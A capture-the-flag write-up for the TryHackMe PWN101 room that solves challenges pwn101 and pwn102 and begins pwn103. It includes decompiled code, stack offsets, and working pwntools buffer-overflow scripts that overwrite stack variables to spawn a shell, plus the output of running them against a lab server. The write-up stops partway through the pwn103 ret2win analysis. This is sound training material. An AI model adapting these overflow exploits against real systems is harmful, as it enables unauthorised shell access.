PWN101 TryHackMe
Binary Exploitation
Challenge 1 = PWN101
Basic File Checks
โโ$ file pwn101.pwn101
pwn101.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped
โโโ(venv)โ(markใฟhaxor)-[~/Desktop/B2B/THM/Pwn101]
โโ$ checksec pwn101.pwn101
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn101.pwn101'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Weโre working with a x64 binary and it has all protections enabled except Stack Canary
Iโll run it to know what it does
โโ$ ./pwn101.pwn101
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 101
Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D
Type the required ingredients to make briyani:
lol
Nah bruh, you lied me :(
She did Tomato rice instead of briyani :/
It receives our input and exit
Iโll decompile the binary using ghidra
Hereโs the main decomiled function
void main(void)
{
char input [60];
int check;
check = 0x539;
setup();
banner();
puts(
"Hello!, I am going to shopping.\nMy mom told me to buy some ingredients.\nUmmm.. But I have l ow memory capacity, So I forgot most of them.\nAnyway, she is preparing Briyani for lunch, Can you help me to buy those items :D\n"
);
puts("Type the required ingredients to make briyani: ");
gets(input);
if (check == 0x539) {
puts("Nah bruh, you lied me :(\nShe did Tomato rice instead of briyani :/");
/* WARNING: Subroutine does not return */
exit(0x539);
}
puts("Thanks, Here\'s a small gift for you <3");
system("/bin/sh");
return;
}
Looking at the code we see what it does
1. It stores a value 0x539 in the variable check
2. It prints out the banner and requires out input
3. It uses get() to receive our input #bug here
4. Does an if check to know if the value stored in variable check is equal to 0x539
5. If the condition is meet it exits
6. If it isn't meet we get shell
So the aim is to overwrite the value stored in variable check not to be equal to 0x539
Since get() is being used to receive input we can cause a buffer overflow in this binary
Hereโs the stack layout
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1 <RETURN>
undefined4 Stack[-0xc]:4 check XREF[2]: 00100896(W),
001008da(R)
undefined1[60] Stack[-0x48] input XREF[1]: 001008c9(*)
main XREF[4]: Entry Point(*),
_start:0010072d(*), 00100c7c,
From the stack layout we see that our input starts at offset 0x48
and the check variable is 0xc
The offset between the input and check variable is 0x48 - 0xc = 0x3c
Solve script available at Exploit
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Binary filename
exe = './pwn101.pwn101'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
offset = 0x3c
padding = "A" * offset
check = 0xdeadbeef
# Build the payload
payload = flat([
padding,
check
])
# Send the payload
io.sendline(payload)
# Got Shell?
io.interactive()
So what the script does is that it overwrite the value stored in check to 0xdeadeef
Running it locally grants us shell
โโ$ python3 exploit.py
[+] Starting local process './pwn101.pwn101': pid 18034
[*] Switching to interactive mode
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 101
Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D
Type the required ingredients to make briyani:
Thanks, Here's a small gift for you <3
$ ls -al
total 28
drwxr-xr-x 2 mark mark 4096 Feb 14 15:44 .
drwxr-xr-x 3 mark mark 4096 Feb 14 15:44 ..
-rw-r--r-- 1 mark mark 1032 Feb 14 15:44 exploit.py
-rwxr-xr-x 1 mark mark 12760 Feb 14 15:30 pwn101.pwn101
$
It works now iโll run it on the remote server
โโ$ python3 exploit.py REMOTE 10.10.210.174 9001
[+] Opening connection to 10.10.210.174 on port 9001: Done
[*] Switching to interactive mode
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 101
Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D
Type the required ingredients to make briyani:
Thanks, Here's a small gift for you <3
$ ls -al
total 48
drwx------ 3 pwn101 pwn101 4096 Feb 8 2022 .
drwxr-xr-x 12 root root 4096 Feb 8 2022 ..
lrwxrwxrwx 1 pwn101 pwn101 9 Feb 8 2022 .bash_history -> /dev/null
-rw-r--r-- 1 pwn101 pwn101 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 pwn101 pwn101 3771 Apr 4 2018 .bashrc
drwxrwxr-x 3 pwn101 pwn101 4096 Feb 8 2022 .local
-rw-r--r-- 1 pwn101 pwn101 807 Apr 4 2018 .profile
-rwxrwxrwx 1 pwn101 pwn101 32 Jan 28 2022 flag.txt
-rwxrwxr-x 1 pwn101 pwn101 12760 Feb 8 2022 pwn101
-rwxrwxrwx 1 pwn101 pwn101 1137 Feb 8 2022 pwn101.c
$ cat flag.txt
THM{7h4t's_4n_3zy_oveRflowwwww}
$
Challenge 2 = PWN102
Basic File Checks
โโ$ file pwn102.pwn102
pwn102.pwn102: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2612b87a7803e0a8af101dc39d860554c652d165, not stripped
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn102]
โโ$ checksec pwn102.pwn102
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn102/pwn102.pwn102'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Weโre working with a x64 binary which has all protections enabled except Stack Canary
Iโll run it to get an overview of what it does
โโ$ ./pwn102.pwn102
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 102
I need badf00d to fee1dead
Am I right? yes
I'm feeling dead, coz you said I need bad food :(
It receives our input and exit
Iโll decompile the binary using ghidra
Hereโs the main decomiled function
void main(void)
{
undefined input [104];
int check2;
int check1;
setup();
banner();
check1 = 0xbadf00d;
check2 = L'\xfee1dead';
printf("I need %x to %x\nAm I right? ",0xbadf00d,L'\xfee1dead');
__isoc99_scanf(&DAT_00100b66,input);
if ((check1 == 0xc0ff33) && (check2 == 0xc0d3)) {
printf("Yes, I need %x to %x\n",0xc0ff33,0xc0d3);
system("/bin/sh");
return;
}
puts("I\'m feeling dead, coz you said I need bad food :(");
/* WARNING: Subroutine does not return */
exit(0x539);
}
Looking at the code we get what it does
1. It stores 0xbadf00d in check1 and 0xfee1dead in check2
2. It receives our input using scanf but doesn't specify amount of bytes that should be stored in the input buffer
3. After it receives our input it does an if check to know if the value stored in check1 is equal to 0xc0ff33 and if check2 is equal to 0xc0d3
4. If the check is passed we get a shell
5. Else it exits
So with this we know that weโre working with a variable overwrite
Hereโs the stack layout
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1 <RETURN>
undefined4 Stack[-0xc]:4 check1 XREF[4]: 0010091a(W),
0010092b(R),
00100959(R),
0010096e(R)
undefined4 Stack[-0x10]:4 check2 XREF[4]: 00100921(W),
00100928(R),
00100962(R),
0010096b(R)
undefined1[104] Stack[-0x78] input XREF[1]: 00100941(*)
main XREF[4]: Entry Point(*),
_start:0010079d(*), 00100bf0,
We see that:
1. Input starts at offset 0x78
2. Check1 variable is at offset 0xc
3. Check2 variable is at offset 0x10
With this we know that the offset between the input buffer and check2 is 0x68
and the offset between the check2 and check1 is 0x5c
Hereโs the exploit script that overwrites the value stored in the check variables
Solve script available at Exploit
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Binary filename
exe = './pwn102.pwn102'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
offset = 0x68
padding = b"A" * offset
check2 = p32(0xc0d3)
check1 = p32(0xc0ff33)
payload = padding + check2 + check1
# Send the payload
io.sendline(payload)
# Got Shell?
io.interactive()
Running it locally works
โโ$ python3 exploit.py
[+] Starting local process './pwn102.pwn102': pid 31962
[*] Switching to interactive mode
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 102
I need badf00d to fee1dead
Am I right? Yes, I need c0ff33 to c0d3
$ ls -al
total 24
drwxr-xr-x 2 mark mark 4096 Feb 14 16:37 .
drwxr-xr-x 4 mark mark 4096 Feb 14 15:49 ..
-rw-r--r-- 1 mark mark 1032 Feb 14 16:31 exploit.py
-rwxr-xr-x 1 mark mark 8720 Feb 14 15:49 pwn102.pwn102
$
Now iโll run it on the remote server
โโ$ python3 exploit.py REMOTE 10.10.210.174 9002
[+] Opening connection to 10.10.210.174 on port 9002: Done
[*] Switching to interactive mode
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 102
I need badf00d to fee1dead
Am I right? Yes, I need c0ff33 to c0d3
$ ls -al
total 44
drwx------ 3 pwn102 pwn102 4096 Feb 8 2022 .
drwxr-xr-x 12 root root 4096 Feb 8 2022 ..
lrwxrwxrwx 1 pwn102 pwn102 9 Feb 8 2022 .bash_history -> /dev/null
-rw-r--r-- 1 pwn102 pwn102 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 pwn102 pwn102 3771 Apr 4 2018 .bashrc
drwxrwxr-x 3 pwn102 pwn102 4096 Feb 8 2022 .local
-rw-r--r-- 1 pwn102 pwn102 807 Apr 4 2018 .profile
-rwxrwxrwx 1 pwn102 pwn102 34 Jan 28 2022 flag.txt
-rwxrwxr-x 1 pwn102 pwn102 8720 Feb 8 2022 pwn102
-rwxrwxrwx 1 pwn102 pwn102 964 Feb 8 2022 pwn102.c
$ cat flag.txt
THM{y3s_1_n33D_C0ff33_to_C0d3_<3}
$
Challenge 3 = PWN103
Basic File Checks
โโ$ file pwn103.pwn103
pwn103.pwn103: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3df2200610f5e40aa42eadb73597910054cf4c9f, for GNU/Linux 3.2.0, not stripped
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn103]
โโ$ checksec pwn103.pwn103
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn103/pwn103.pwn103'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Weโre working with a x64 binary which has just NX enabled
Iโll run it to get an overview of what it does
โโ$ ./pwn103.pwn103
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขนโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โข โฃดโฃพโฃตโฃถโฃถโฃพโฃฟโฃฆโกโ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขโฃพโฃฟโฃฟโขฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃงโฃโฃผโฃฟโฃโฃ โฃฟโฃฟโฃฟโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ ปโขทโกฏโ โ โ โ โขซโฃฟโ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃงโกโ โ โ โ โ โ โ โ โ โ โ โขกโฃโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃถโฃโฃธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
[THM Discord Server]
โโโโโโโโโโโ
1) ๐ข Announcements
2) ๐ Rules
3) ๐ฃ General
4) ๐ rooms discussion
5) ๐ค Bot commands
โโโโโโโโโโโ
โจ Choose the channel: 1
๐ข Announcements:
A new room is available!
Check it out: https://tryhackme.com/room/binaryexploitation
โโ โฌโโโโโโโฌโโโฌ โฌโโโโโ โฌโโโโฌ โโโโฌโโฌโโโโโโฌโโฌโโโโโโ
โโดโโโโโโโโคโโฌโโโฌโโโค โโดโฌโโโโโ โ โโ โ โโโค โ โโ โโโโ
โโโโดโโโโด โดโดโโ โด โโโโด โโโด โดโโโโโโด โด โด โด โด โดโโโโโโ
๐พ Beginner level room has some challenges based on stack exploitation
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขนโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โข โฃดโฃพโฃตโฃถโฃถโฃพโฃฟโฃฆโกโ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขโฃพโฃฟโฃฟโขฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃงโฃโฃผโฃฟโฃโฃ โฃฟโฃฟโฃฟโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ ปโขทโกฏโ โ โ โ โขซโฃฟโ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃงโกโ โ โ โ โ โ โ โ โ โ โ โขกโฃโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃถโฃโฃธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
[THM Discord Server]
โโโโโโโโโโโ
1) ๐ข Announcements
2) ๐ Rules
3) ๐ฃ General
4) ๐ rooms discussion
5) ๐ค Bot commands
โโโโโโโโโโโ
โจ Choose the channel: 2
๐ Rules:
1 Don't ping @everyone ๐พ
2 Don't rick roll anyone ๐ Rick roll yourself ๐
3 Don't post memes ๐, otherwise you'll become a meme ๐คก
4 We know sharing is caring ๐ค, But don't share your writeups here lmao๐คฆโ
5 Respect everyone in our community๐ค
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขนโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โข โฃดโฃพโฃตโฃถโฃถโฃพโฃฟโฃฆโกโ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขโฃพโฃฟโฃฟโขฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃงโฃโฃผโฃฟโฃโฃ โฃฟโฃฟโฃฟโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ ปโขทโกฏโ โ โ โ โขซโฃฟโ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃงโกโ โ โ โ โ โ โ โ โ โ โ โขกโฃโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃถโฃโฃธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
[THM Discord Server]
โโโโโโโโโโโ
1) ๐ข Announcements
2) ๐ Rules
3) ๐ฃ General
4) ๐ rooms discussion
5) ๐ค Bot commands
โโโโโโโโโโโ
โจ Choose the channel: 3
๐ฃ General:
------[jopraveen]: Hello pwners ๐
------[jopraveen]: Hope you're doing well ๐
------[jopraveen]: You found the vuln, right? ๐ค
------[pwner]: yes
------[jopraveen]: GG ๐
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขนโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โข โฃดโฃพโฃตโฃถโฃถโฃพโฃฟโฃฆโกโ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขโฃพโฃฟโฃฟโขฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃงโฃโฃผโฃฟโฃโฃ โฃฟโฃฟโฃฟโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ ปโขทโกฏโ โ โ โ โขซโฃฟโ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃงโกโ โ โ โ โ โ โ โ โ โ โ โขกโฃโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃถโฃโฃธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
[THM Discord Server]
โโโโโโโโโโโ
1) ๐ข Announcements
2) ๐ Rules
3) ๐ฃ General
4) ๐ rooms discussion
5) ๐ค Bot commands
โโโโโโโโโโโ
โจ Choose the channel: 4
๐ rooms discussion:
--[Welcome to Room Discussion]--
-----[jopraveen]: Don't post spoilers here ๐
-----[jopraveen]: Keep the chats relevent to this room ๐
-----[jopraveen]: Good luck everyone ๐
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขนโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โข โฃดโฃพโฃตโฃถโฃถโฃพโฃฟโฃฆโกโ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขโฃพโฃฟโฃฟโขฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃงโฃโฃผโฃฟโฃโฃ โฃฟโฃฟโฃฟโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ ปโขทโกฏโ โ โ โ โขซโฃฟโ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃงโกโ โ โ โ โ โ โ โ โ โ โ โขกโฃโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃถโฃโฃธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
[THM Discord Server]
โโโโโโโโโโโ
1) ๐ข Announcements
2) ๐ Rules
3) ๐ฃ General
4) ๐ rooms discussion
5) ๐ค Bot commands
โโโโโโโโโโโ
โจ Choose the channel: 5
๐ค Bot commands:
root@pwn101:~/root# lol
root@pwn101:~/root# lol
root@pwn101:~/root# lol
root@pwn101:~/root# ls
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขนโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โข โฃดโฃพโฃตโฃถโฃถโฃพโฃฟโฃฆโกโ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขโฃพโฃฟโฃฟโขฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃงโฃโฃผโฃฟโฃโฃ โฃฟโฃฟโฃฟโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ ปโขทโกฏโ โ โ โ โขซโฃฟโ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃงโกโ โ โ โ โ โ โ โ โ โ โ โขกโฃโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃถโฃโฃธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
[THM Discord Server]
โโโโโโโโโโโ
1) ๐ข Announcements
2) ๐ Rules
3) ๐ฃ General
4) ๐ rooms discussion
5) ๐ค Bot commands
โโโโโโโโโโโ
Cool we see that its some sort of a program that imitates a discord bot
Iโll decompile the binary using ghidra
Hereโs the main function
void main(void)
{
undefined4 local_c;
setup();
banner();
puts(&DAT_00403298);
puts(&DAT_004032c0);
puts(&DAT_00403298);
printf(&DAT_00403323);
__isoc99_scanf(&DAT_00403340,&local_c);
switch(local_c) {
default:
main();
break;
case 1:
announcements();
break;
case 2:
rules();
break;
case 3:
general();
break;
case 4:
discussion();
break;
case 5:
bot_cmd();
}
return;
}
Looking at it shows that its the main menu and it allows us to choose an option. Nothing much in it
After looking through the functions options available i got this one interesting cause it allows user input
Function general()
void general(void)
{
int iVar1;
char input [32];
puts(&DAT_004023aa);
puts(&DAT_004023c0);
puts(&DAT_004023e8);
puts(&DAT_00402418);
printf("------[pwner]: ");
__isoc99_scanf(&DAT_0040245c,input);
iVar1 = strcmp(input,"yes");
if (iVar1 == 0) {
puts(&DAT_00402463);
main();
}
else {
puts(&DAT_0040247f);
}
return;
}
We see it receives user input using scanf and stores it in an input buffer that can hold up to 32 bytes of data with this we can cause a buffer overflow
Also looking through the functions i get a admins_only() function
void admins_only(void)
{
puts(&DAT_00403267);
puts(&DAT_0040327c);
system("/bin/sh");
return;
}
It will grant us a shell. So the aim for this challenge is to perform Ret2Win
Now iโll get the offset needed to overwrite the rip then make the return address call to the admins_only function
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn103]
โโ$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn103]
โโ$ gdb -q pwn103.pwn103
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.11
Reading symbols from pwn103.pwn103...
(No debugging symbols found in pwn103.pwn103)
gefโค r
Starting program: /home/mark/Desktop/B2B/THM/Pwn101/pwn103/pwn103.pwn103
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขนโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
